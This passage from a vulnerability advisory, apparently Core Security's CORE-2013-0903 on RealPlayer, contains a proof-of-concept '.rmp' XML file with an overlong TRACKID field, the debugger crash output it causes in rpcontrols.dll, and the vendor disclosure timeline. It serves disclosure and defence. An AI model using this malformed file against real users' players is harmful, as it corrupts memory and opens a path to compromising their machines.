="1.0"?>
<PACKAGE>
<TITLE>resto</TITLE>
<ACTION>import,replace</ACTION>
<SERVER>
<LOCATION>%fid</LOCATION>
</SERVER>
<TARGET>resto</TARGET>
<TRACKLIST>
<LISTID>1</LISTID>
<TRACK>
<TRACKID>1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/TRACKID>
<TITLE>The French Experience</TITLE>
<ARTIST>BBC Languages</ARTIST>
<ALBUM></ALBUM>
<CHANNELS>0</CHANNELS>
<DURATION>80480</DURATION>
<FORMAT></FORMAT>
<GENRE></GENRE>
<QUALITY>29000</QUALITY>
<SIZE>0</SIZE>
</TRACK>
</TRACKLIST>
</PACKAGE>
-----/
Below is shown the result of opening the maliciously crafted file
'poc.rmp' on Windows XP SP3:
/-----
63A530B6 8B08 MOV ECX,DWORD PTR DS:[EAX]
63A530B8 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] <----crash in
rpcontrols.dll
63A530BB 50 PUSH EAX
63A530BC FFD2 CALL EDX
EAX 01122BB8 ASCII
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ECX 61616161
EDX 0267F278
EBX 00000000
ESP 0012F5CC
EBP 0012F5D0
ESI 0012F5F4
EDI 00DD8AD8
EIP 63A530B8 rpcontro.63A530B8
-----/
8. *Report Timeline*
. 2013-09-03:
Core Security Technologies attempts to contact vendor. No reply
received. Publication date is set for Sep 25st, 2013.
. 2013-09-11:
Core attempts to contact vendor.
. 2013-09-11:
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.
. 2013-09-12:
Technical details sent to the vendor.
. 2013-09-16:
Core asks for a status update.
. 2013-09-16:
Vendor notifies that the vulnerability verification process has not
finished yet and asks for delaying the advisory announcement. Vendor
also claims that they have a six-month window to address vulnerabilities
and the current release date has not been set.
. 2013-09-23:
Core re-schedules the advisory publication for Oct 15th and asks for a
clear timeline regarding the patching process.
. 2013-09-24:
Vendor notifies that the normal procedure involves internal verification
of the issue (usually within two weeks of reporting). Once verified, it
is added to the queue for the next available release. Vendor also states
that they could not reproduce the issue and asks for additional
technical information.
. 2013-09-25:
First release date missed.
. 2013-10-02:
Core confirms that the issue is exploitable and sends additional
technical information and a new PoC.
. 2013-10-04:
Vendor notifies that they still cannot duplicate the issue, even with
the new PoC.
. 2013-10-08:
Core sends a demo (video) showing the exploitation in a fresh XP machine
and additional technical information.
. 2013-10-14:
Vendor asks for delaying the advisory release.
. 2013-10-15:
Second release date missed.
. 2013-10-15:
Core asks for a tentative release date.
. 2013-10-16:
Vendor notifies that they have just been able to duplicate the issue and
they can probably release a fix for the end of November.
. 2013-10-16:
Core re-schedules the advisory publication for Nov 27th and notifies
that this date should be considered final.
. 2013-11-11:
Core asks for a status update.
. 2013-11-22:
Vendor notifies that the fix will be released December 16th.
. 2013-11-26:
Core re-schedules the advisory publication for Dec 16th.
. 2013-11-27:
Third release date missed.
. 2013-12-06:
Vendor notifies that they have found an issue that must be fixed and the
date for announcing will be Dec 20th.
. 2013-12-09:
Core notifies that releasing security advisories on Fridays generates
unnecessary workload to IT teams worldwide considering the different
timezones and rejects Dec 20th as release date.
. 2013-12-09:
Vendor notifies that the new version of RealPlayer will not support RPM
files and thus the issue will be fixed.
. 2013-12-16:
Fourth release date missed.
. 2013-12-17:
Advisory CORE-2013-0903 published as 'user release'.
9. *References*
